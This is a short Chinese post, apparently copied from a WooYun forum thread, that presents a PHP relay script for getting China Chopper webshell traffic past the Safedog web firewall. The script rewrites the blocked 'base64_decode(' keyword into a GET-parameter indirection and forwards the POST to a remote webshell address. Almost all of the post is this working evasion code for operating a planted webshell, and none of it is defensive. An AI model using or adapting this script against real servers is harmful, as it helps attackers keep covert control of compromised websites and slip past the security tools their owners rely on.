菜刀杀狗

中转是一种思路，把狗拦截的关键字以一种等效的方式替换为其他的。

<?php $webshell="http://www.example.com/1.php";//把这里改成你的shell地址 $webshell=$webshell."?&1141056911=base64_decode"; $da=$_POST; $data = $da; @$data=str_replace("base64_decode(",'$_GET[1141056911](',$data); //接收菜刀的post，并把base64_decode替换成$_GET[1141056911]( //print_r($data);  $data = http_build_query($data);   $opts = array (   'http' => array (   'method' => "POST",   'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .              "Content-Length: " . strlen($data) . "\r\n",   'content' => $data) );  $context = stream_context_create($opts);   $html = @file_get_contents($webshell, false, $context); //发送post  echo $html;    ?>

原文：http://zone.wooyun.org/content/10278